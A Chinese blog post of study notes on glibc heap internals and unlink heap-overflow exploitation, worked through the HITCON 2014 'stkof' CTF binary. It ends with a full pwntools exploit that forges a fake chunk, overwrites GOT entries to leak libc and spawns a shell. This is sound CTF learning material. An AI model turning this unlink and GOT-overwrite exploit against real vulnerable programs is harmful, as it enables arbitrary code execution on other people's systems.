最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记;作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正。

  本文用到的例子下载链接https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof

  首先总结一下linux下堆的分配管理。堆的基本结构见上一篇文章,这里不再赘述。

一个更详细总结的传送门

glibc内存管理ptmalloc源码分析

1.堆区是在进程加载时的一片区域,mmap方式分配的堆结构体中的fd,bk指针指向的区域并不是随机分配的,而是由fd,bk等指针连接的相邻的、连续的内存区

2.为了支持多线程,堆的分配有arena机制(详见https://ctf-wiki.github.io/ctf-wiki/pwn/heap/heap_structure/#arena),简单来说该机制就是在第一次申请内存时分配的一个比申请内存大很多的一片内存区域,目的是减少内存申请释放时unlink的次数。

3.用户释放的chunk不会马上返还给系统,glibc的bin会管理释放的chunk,包含四类fast bins,small bins,large bins,unsorted bin。每一类的设计都包含优化减少unlink次数的思想,比如fast bin管理策略是LIFO,堆块默认最大64 * SIZE_SZ / 4,释放时如果bin大小在fast bin范围内,则插入到fastbin头部(目的是减少堆块合并、分割的操作,试想如果直接释放较小堆块,如果释放的较小堆块与之物理相邻堆块是空闲堆块,则会发生合并;当再次申请释放堆块大小的堆时,则又需要重新分割较小的堆块)(释放时进行前向合并时会先检查释放堆大小是否是fastbin大小,如果是直接链入fastbin头部;非fastbin大小的堆在释放时前向合并,如果物理相邻高地址堆为top_chunk则合并到top_chunk)size_sz是机器字长

4.unlink宏源代码https://code.woboq.org/userspace/glibc/malloc/malloc.c.html1388行。free的过程涉及到新的chunk由allocated变为free,为了优化要进行合并操作,包括后向合并(合并低地址chunk)和前向合并(合并高地址chunk),unlink的过程是一个从双向链表删除节点的操作。

5.glibc中free过程的大致操作:

  1>.释放堆块大小合法性检查(size>=min_size&&size<=max_size)

  2>.当前堆的follow chunk合法且前向堆(next chunk)的pre_inuse flag=1(next_chunk->size&0x1==1)

  3>.当前堆不能和freelist的头节点一致(double free),但是释放时仅检查freelist头节点并不遍历freelist,所以如果释放的chunk在freelist里(非头节点)还是会导致double free

  4>.检查后向堆(低地址chunk)和前向堆(高地址chunk)是否空闲

  5>.如果空闲则合并堆

  6>.将释放的堆链入合适的freelist

  下面分析一下这个有堆溢出的程序。

  这个程序实现了一个堆内存分配释放的功能,并且分配的堆可以编辑内容,分配的堆块指针记录在一个全局静态存储区.bss。但由于编辑的时候没有检查编辑内容的长度,导致溢出。

  

  下面以这个程序为例分析一下堆溢出unlink是如何导致任意内存写的,并分析一下如何利用。

  使用IDA查看发现存储堆指针的内存区起始于0x602140,不妨把这个内存起始地址叫做chunk_list

  如果我们alloc(0x30),alloc(0x30)两个堆,这个程序会把分配的地址写到chunk_list[1](即0X602148,chunk1)和chunk_list[2]的位置。由于编辑的时候没有检查长度,所以我们可以在chunk1写入大于chunk1分配大小的内容,由于chunk1和chunk2物理相邻(没有调用brk手动扩展堆),所以chunk1溢出的内容会覆盖到chunk2。所以我们精心设计一个chunk1的内容,使他的内存布局如下

  

  即在chunk1中填充一个fake_chunk,使libc认为chunk2的prev_free_chunk是chunk1。fake_fd和fake_bk这么填充的原因是绕过双向链表的检测

if (__builtin_expect (FD->bk != P || BK->fd != P, ))                      \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD;

  unlink时首先检测双向链表完整性

FD=chunk1_ptr-3*size_sz  =>  FD->bk=(chunk1_ptr-3*size_sz)+3*size_sz=chunk1_ptr

BK=chunk1_ptr-2*size_sz  =>  BK->fd=(chunk1_ptr-2*size_sz)+2*size_sz=chunk1_ptr

即这样可以绕过上述双向链表的检测。

  unlink删除双向链表节点过程中的原子操作

FD->bk=BK  =>  chunk1_ptr=chunk1_ptr-2*size_sz  <=FD->bk=chunk1_ptr

BK->fd=FD  =>  chunk1_ptr=chunk1_ptr-3*size_sz  <=BK->fd=chunk1_ptr

即chunk1_ptr最终被赋值chunk1_ptr-3*size_sz,所以此时保存chunk1指针的chunk_list[1]就会指向chunk1_ptr-3*size_sz。因为这个地址在bss段,这样我们就得到了一个可读可写段的可控地址^.^

这里可以达成一次任意地址写的本质是我们得到了

&(&chunk0_ptr)=&(&chunk0_ptr)-*size_sz

则有

*(&(&chunk0_ptr))=*(&(&chunk0_ptr)-*size_sz)

即两个指针指向的内容是一致的,而此时&chunk0_ptr我们是可以修改为任意值,以此达成一次任意地址写

此时,chunk_list[1][3*size_sz]就是chunk_list[1]指向的地址处偏移3*size_sz的内容,所以我们可以编辑chunk1的内容为padding(3*size_sz)+p64(free@got),即可通过读chunk_list地址处内容得到free@got,进而得到libc基址,进而计算得到system@got

另外一种利用思路是把rsp指向chunk_list,然后通过构造ROP获取shell(https://raw.githubusercontent.com/acama/ctf/master/hitcon2014/stkof/x.py

unlink可以导致任意代码执行的原因是我们可以覆盖free@got为system@got,然后调用free即可执行system@got的内容

EXP如下,另一个堆溢出例子传送门

from pwn import *

context.log_level='DEBUG'

p=process('./patched-stkof')
elf=ELF('./patched-stkof')
libc=ELF('./libc.so.6')

def debug():
print p.pid
pause()

def new(sz):
p.sendline('1')
p.sendline(str(sz))
p.recvuntil('OK\n')

def edit(idx,con):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(con)))
p.send(con)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))

new(0x100) #1
new(0x30) #2
new(0x80) #3
new(0x80) #4

cklist=0x602140
cur_chk=cklist+0x10
size_sz=8
fake_chunk=p64(0)+p64(0x30)+p64(cur_chk-3*size_sz)+p64(cur_chk-2*size_sz)+'a'*0x10+p64(0x30)+p64(0x90)
edit(2,fake_chunk)
#debug()
free(3)
p.recvuntil('OK\n')
#debug()
payload='a'*8+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(elf.got['puts'])
edit(2,payload)
#debug()
#modify free@got to puts@got to leak
edit(0,p64(elf.plt['puts']))
#debug()

free(2)
puts=u64(p.recvuntil('\nOK',drop=True).ljust(8,'\x00'))
success("puts: "+hex(puts))
libc_base=puts-libc.sym['puts']
success("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
success("system: "+hex(system))
success("binsh: "+hex(binsh))
#debug()
edit(1,p64(system))
p.send(p64(binsh))

p.interactive()

linux下堆溢出unlink的一个简单例子及利用的更多相关文章

  1. Linux下select的用法--实现一个简单的回射服务器程序

    1.先看man手册 SYNOPSIS       /* According to POSIX.1-2001 */       #include <sys/select.h>       / ...

  2. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  3. Linux下缓冲区溢出攻击的原理及对策

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...

  4. 在Linux下如何使用GCC编译程序、简单生成 静态库及动态库

      最近在编写的一个Apache  kafka 的C/C++客户端,,在看他写的 example中,他的编译是用librdkafka++.a和librdkafka.a    静态库编译的,,,而我们这 ...

  5. Linux内核中的信号机制--一个简单的例子【转】

    本文转载自:http://blog.csdn.net/ce123_zhouwei/article/details/8562958 Linux内核中的信号机制--一个简单的例子 Author:ce123 ...

  6. Mac、Linux下两个Emacs共享一个配置文件

    Mac.Linux下两个Emacs共享一个配置文件 有些嵌入式的实验需要在Linux进行,就安装了RHEL6.4的虚拟机,下载并编译了Emacs. 在Linux的.emacs文件中加入以下语句,即可引 ...

  7. 一个简单例子:贫血模型or领域模型

    转:一个简单例子:贫血模型or领域模型 贫血模型 我们首先用贫血模型来实现.所谓贫血模型就是模型对象之间存在完整的关联(可能存在多余的关联),但是对象除了get和set方外外几乎就没有其它的方法,整个 ...

  8. (转)Java中使用正则表达式的一个简单例子及常用正则分享

    转自:http://www.jb51.net/article/67724.htm 这篇文章主要介绍了Java中使用正则表达式的一个简单例子及常用正则分享,本文用一个验证Email的例子讲解JAVA中如 ...

  9. C语言多线程的一个简单例子

    多线程的一个简单例子: #include <stdio.h> #include <stdlib.h> #include <string.h> #include &l ...

随机推荐

  1. Python—kmeans算法学习笔记

    一.   什么是聚类 聚类简单的说就是要把一个文档集合根据文档的相似性把文档分成若干类,但是究竟分成多少类,这个要取决于文档集合里文档自身的性质.下面这个图就是一个简单的例子,我们可以把不同的文档聚合 ...

  2. 【学习总结】Git学习-参考廖雪峰老师教程-总

    公元2018-10-21 实验室台式机 win7 64位 参考教程: 廖雪峰Git教程 其他资料:Git-book 北大一只总结的笔记,最终整理的时候可以参考:Git笔记 评论区看到的另一个人,总结在 ...

  3. Github经理和员工开发

    Git简介 Git是目前世界上最先进的分布式版本控制系统 git的两大特点: 版本控制:可以解决多人同时开发的代码问题,也可以解决找回历史代码的问题 分布式:Git是分布式版本控制系统,同一个Git仓 ...

  4. static:get()什么意思

    在类里面static关键词相当于self关键词

  5. [BZOJ 4516] [SDOI 2016] 生成魔咒

    Description 魔咒串由许多魔咒字符组成,魔咒字符可以用数字表示.例如可以将魔咒字符 1.2 拼凑起来形成一个魔咒串 [1,2]. 一个魔咒串 S 的非空字串被称为魔咒串 S 的生成魔咒. 例 ...

  6. 【bfs】抓住那头牛

    [题目] 农夫知道一头牛的位置,想要抓住它.农夫和牛都位于数轴上,农夫起始位于点N(0≤N≤100000),牛位于点K(0≤K≤100000).农夫有两种移动方式: 1.从X移动到X-1或X+1,每次 ...

  7. CAN报文 Intel 格式与Motorola 格式的区别

    当一个信号的数据长度不超过 1 个字节(8 位)时,Intel 与 Motorola 两种格式的 编码结果没有什么不同,完全一样.当信号的数据长度超过 1 个字节(8 位)时,两者的编码结果出现 了明 ...

  8. 清北学堂Day3

    卷积公式(Dirichlet卷积) 这个式子看上去就很变态,那么他是什么意思呢: 就是说 函数f(x)和g(x)对于n的卷积等于n的每一个因子d在f(x)上的值乘上d/n在g(x)上的值的和 例:设g ...

  9. Pandas系列(四)-文本数据处理

    内容目录 1. 为什么要用str属性 2. 替换和分割 3. 提取子串 3.1 提取第一个匹配的子串 3.2 匹配所有子串 3.3 测试是否包含子串 3.4 生成哑变量 3.5 方法摘要 一.为什么要 ...

  10. Linux中的pipe(管道)与named pipe(FIFO 命名管道)

    catalogue . pipe匿名管道 . named pipe(FIFO)有名管道 1. pipe匿名管道 管道是Linux中很重要的一种通信方式,是把一个程序的输出直接连接到另一个程序的输入,常 ...